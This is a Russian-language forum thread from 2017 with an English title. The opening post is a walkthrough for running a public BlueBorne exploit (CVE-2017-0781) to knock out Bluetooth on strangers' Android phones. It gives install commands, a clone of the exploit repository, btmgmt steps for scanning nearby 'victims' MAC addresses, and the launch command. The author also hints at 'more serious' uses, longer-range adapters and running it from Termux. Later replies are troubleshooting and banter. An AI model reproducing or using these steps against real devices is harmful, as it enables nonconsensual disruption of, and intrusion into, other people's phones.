Загрузка...

We chop off face lovers on speakers or how to turn off Bluetooth on someone else's device.

Thread in Kali Linux created by cR0NuS Dec 4, 2017. 47,915 views

  1. cR0NuS
    cR0NuS Topic starter Dec 4, 2017 Banned 218 May 3, 2016
    Доброго времени суток. Опять пишу всякие "хацкерские" темы в ночное время суток( по МСК). Ладно, не суть. Сегодня хотел бы рассказать вам об уязвимости, которая известно давно...Просто о ней на время забыли, т.к. не выкладывали exploit...И вот на днях совершилось чудо! На гитхабе выложили скрипт python-а с использованием уязвимости(CVE-2017-0781/ Blueborn).
    Суть exploit-а в том, что бы вызвать принуждённое отключение bluetooth на устройстве "жертвы". Грубо говоря, exploit бьёт по уязвимым местам прошивки android( как пишут некоторые люди, ios тоже через раз получается) и вызывает ошибку типа null-byte(переполнение буфера).

    UPD: Было лично протестировано на своём телефоне - MEIZU M5 NOTE с обновлённым Flyme OS.

    Приступим!

    >Первым делом нам нужно установить зависимости скрипта.
    Code

    apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential
    Затем обновляем модули python.
    Code

    pip install --upgrade pip
    pip install --upgrade pwntools
    Для работы с bluetooth с помощью python нам понадобится модуль pybluez.
    Code

    apt-get install bluetooth libbluetooth-dev
    pip install pybluez
    >Затем приступаем к скачиванию эксплоита(корректней будет назвать скриптом).
    Code

    git clone [URL]https://github.com/ojasookert/CVE-2017-0781[/URL]
    >Дальше нам придётся попотеть...Т.к. проблема может быть следующая:
    Не работает bluetooth....Для этого используем утиллиту btmgmt.
    Запускаем её и делаем следующие шаги:
    Code

    btmgmt --index 0
    power
    auto-power
    find
    Если начнется мониторинг Bluetooth устройств - значит всё готово.
    >Используем скрипт. Для этого нам нужен MAC-адресс bluetooth устройства(используем команду btmgmt --index 0 и find).
    Как только нашли "жертву", вводим команду.
    Code

    python CVE-2017-0781.py TARGET=*mac-адресс с заглавными буквами.*
    И ждём. Мониторить устройство можете с других или же через консоль.

    #мояСТАТЬЯ!!!!!
     
  2. cR0NuS
    cR0NuS Topic starter Dec 4, 2017 Banned 218 May 3, 2016
    Так же подробно о использовании скрипта описано в README,md <3
     
  3. Ernesst_inactive198775
    Ernesst_inactive198775 Dec 4, 2017 Banned 92 Oct 28, 2017
    а не легче просто включить блютузи начать конектится к пацану с колонкой (к его телефону а не к колонке) у него блютус должен збится
     
  4. cR0NuS
    cR0NuS Topic starter Dec 4, 2017 Banned 218 May 3, 2016
    Ernesst_inactive198775, Ну вообще тема кликбейт. Использовать данную уязвимость можно и в более серьёзных делах...И вообще, где ты такое видел, что подключаясь к телефону человека, он автоматически дисконнектится от других девайсов? Я лично такое нигде не наблюдал, даже на старых телефонах с Java-ой.
     
  5. cR0NuS
    cR0NuS Topic starter Dec 4, 2017 Banned 218 May 3, 2016
    Не обязательно стоять вблизи к нему. Можно использовать специальные адаптеры. К тому же если поработать головой, можно и утиллиту залить на телефон(дам подсказку - Termux).
     
  6. retr0_inactive63222
    retr0_inactive63222 Dec 8, 2017 Пчел... 174 Dec 4, 2016
    Проверил на двух устройствах, команда не работает
     
  7. renameduser_50105
    renameduser_50105 Dec 8, 2017 пук 546 Sep 15, 2016
    я их с локтя обычно вырубаю
     
  8. cR0NuS
    cR0NuS Topic starter Dec 9, 2017 Banned 218 May 3, 2016
    retr0_inactive63222, от права администратора пиши.

    # sudo *команда*
     
  9. retr0_inactive63222
    retr0_inactive63222 Dec 9, 2017 Пчел... 174 Dec 4, 2016
    cR0NuS, как-то вот так получается, найти бы где ошибка
     
  10. cR0NuS
    cR0NuS Topic starter Dec 18, 2017 Banned 218 May 3, 2016
  11. retr0_inactive63222
    retr0_inactive63222 Dec 19, 2017 Пчел... 174 Dec 4, 2016
    Нет, но и в командной строке iOS с JB та же ошибка. Тем более ты сам советовал Termux
     
  12. cR0NuS
    cR0NuS Topic starter Dec 19, 2017 Banned 218 May 3, 2016
    retr0_inactive63222, Я написал, что надо поработать головой, а не тупо как даун-скрипкидди копировать-вставить в Termux....
     
  13. Alab_inactive178380
    Alab_inactive178380 Dec 19, 2017 Banned 9 Sep 16, 2017
    :kek::kek::kek:
     
  14. code_bit
    code_bit Dec 21, 2017 можно ненадо? 10 Feb 16, 2017
    Не работает на :
    btmgmt --index 0
    power
    auto-power
    find
    после power пишет specify "on" or "off"
    потом пишу find и выдаёт это
    Unable to start discovery. status 0x11 (Invalid Index)
    Подскажи чё делать?
     
  15. NothingSpecial
    NothingSpecial Dec 21, 2017 Error 218 Mar 11, 2017
    А если по Termux, код такой же?
     
  16. cR0NuS
    cR0NuS Topic starter Dec 21, 2017 Banned 218 May 3, 2016
    NothingSpecial, Там уже самим надо думать, какие команды вписывать. Потом как нить в тему добавлю.
     
  17. cR0NuS
    cR0NuS Topic starter Dec 21, 2017 Banned 218 May 3, 2016
    code_bit, Сейчас точно не смогу ответить, в ближайшие сутки распишу. Попробуй пока через другое устройство на базе android чекать, вроде mac-адреса показывает...Правда не у всех наверное.
     
  18. jvscrpt
    jvscrpt Dec 21, 2017 Уважать вас это себя неуважать 141 Dec 5, 2017
    Авторскую ему
     
  19. ban9it_inactive241226
    ban9it_inactive241226 Dec 31, 2017 Banned 33 Dec 22, 2017
    Круто.
     
  20. code_bit
    code_bit Dec 31, 2017 можно ненадо? 10 Feb 16, 2017
    Ну что проблему решил?
     
Loading...
Top